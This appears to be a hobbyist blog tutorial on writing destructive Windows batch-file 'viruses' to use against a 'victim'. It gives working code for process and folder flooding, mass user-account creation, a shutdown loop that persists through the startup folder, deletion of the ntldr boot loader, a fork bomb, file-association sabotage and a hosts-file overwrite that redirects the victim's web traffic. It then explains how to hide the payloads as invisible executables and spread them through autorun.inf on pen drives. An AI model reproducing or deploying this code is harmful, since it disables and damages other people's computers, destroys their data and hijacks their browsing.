Hi friends Rohit Hea again after a long time . I just want to share something that i know about creatig VIRUS using BATCH FILES.  Batch files are type of executable files with the extention ".bat" . Coming to the point , we can create malicious and irritating virus just by typing their codes and saving them as .bat extension.

                                                                I could just you give the  codes to paste  in notepad and  ask you to save files with extension .bat and your deadly batch viruses would be ready to attack. But
instead of that, I have just focussed on making the basics of creating batch files clear and developing the approach to code your own viruses.So please just try to understand the code instead of copying it to notepad.

• What are Batch Files ?

Lets start with a simple example , Open your command prompt(cmd) and change your current directory on to 'desktop' by typing 'cd desktop' without the quotes.

Now type these commands in order 

1. md a  //makes directory 'a' on desktop

2. cd a  // changes current directory to 'a'

3. md b // makes a directory 'b' in directory 'b'     

We first make a folder/directory 'a', then enter in folder  'a',then make a folder 'b' in folder 'a' . 

Now delete the folder 'a'.

Lets do the same thing in an other way. Type the same  three commands given above in the  notepad and save the file as anything.bat . You can give any name in place of 'anything'.                     

    

Now simply double click on this batch file and the same job will be done by the file created using notepad and by using command prompt(cmd) . You will get a folder with name 'a' on your desktop and another folder with name 'b' in it. This means the three commands are executed in order, when we ran the batch file 

So a batch file is nothing but  a text containing series of commands which are executed automatically line by line when the batch file is run. 

• What can batch viruses do ?

They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (here  anything means any name youwant to give to your file  but extension must be .bat and save it as 'all files' instead of text files).

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.  Application Bomber

@echo off // It instructs to hide the commands when batch files is executed

:x   //loop variable
start winword
start mspaint  //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start  opening different applications present in the system like paint,notepad,command prompt repeatedly(because of infinite loop), irritating the victim and ofcourse affecting the performance.

2. Folder flooder

@echo off

:x

md %random% // makes directory or folder. 

goto x

Here %random% is a variable that would generate any positive number  randomly.  So this code will  start creating folders whose name can be any random number.

3.User account flooder 

@echo off

:x

net user %random% /add //create user account

goto x

This code will start creating windows user accounts whose names could be any random numbers.

3.Shutdown Virus

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”  

copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”    //these two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00  //this will shutdown the computer in 0 seconds  

Note : Files in Start up folder gets started automatically when windows starts .  You should  first two lines of  code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Everytime when the victim  start's the computer, this batch file in start up will run and shutdown the computer immediately. You will be able to remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder. 

4. Deleting boot files

Goto C drive in Win XP , Tools->Folder Option->View

Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply 

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows. 

 Lets make a batch file to 

delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr   // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively

del ntldr    //delete ntldr file

After running this batch file , system will not reboot and a normal victim should definitely install the windows again use his computer. 

5. Fork Bomb

%0|%0  //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

                     

6. Extension Changer

@echo off

assoc .txt=anything // this command associates extension .txt with filetype anything.

assoc .exe=anything

assoc .jpeg=anything

assoc .png=anything

assoc .mpeg=anything                          

Every extension is associated with a filetype like extension ‘.exe’. It  is associated with filetype ‘exe file’. To know these, just type ‘assoc’ in command prompt.

 Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files will not be able to open properly.

7.  DNS Poisoning

There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.

  The code is:

@echo off

echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts   //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file. 

Replace xxx.xxx.xxx.xxx  and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

Note : Most of the batch viruses are simply undetectable by any anitiviruses

Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

   

• Limitations of Batch Viruses -:

1.Victim can easily read the commands by opening batch file in notepad.

2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

Download this Batch To Exe coverter from here.Remamber the password is "darktechandhack" .

After running converter ,  open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.  

                     

You can  use other options as per your requirement.

• Spreading batch viruses through pen drive -:

Step 1:

Open notepad and write 

[autorun]

open=anything.bat

Icon=anything.ico

Save file as ‘autorun.inf’

Step 2: Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

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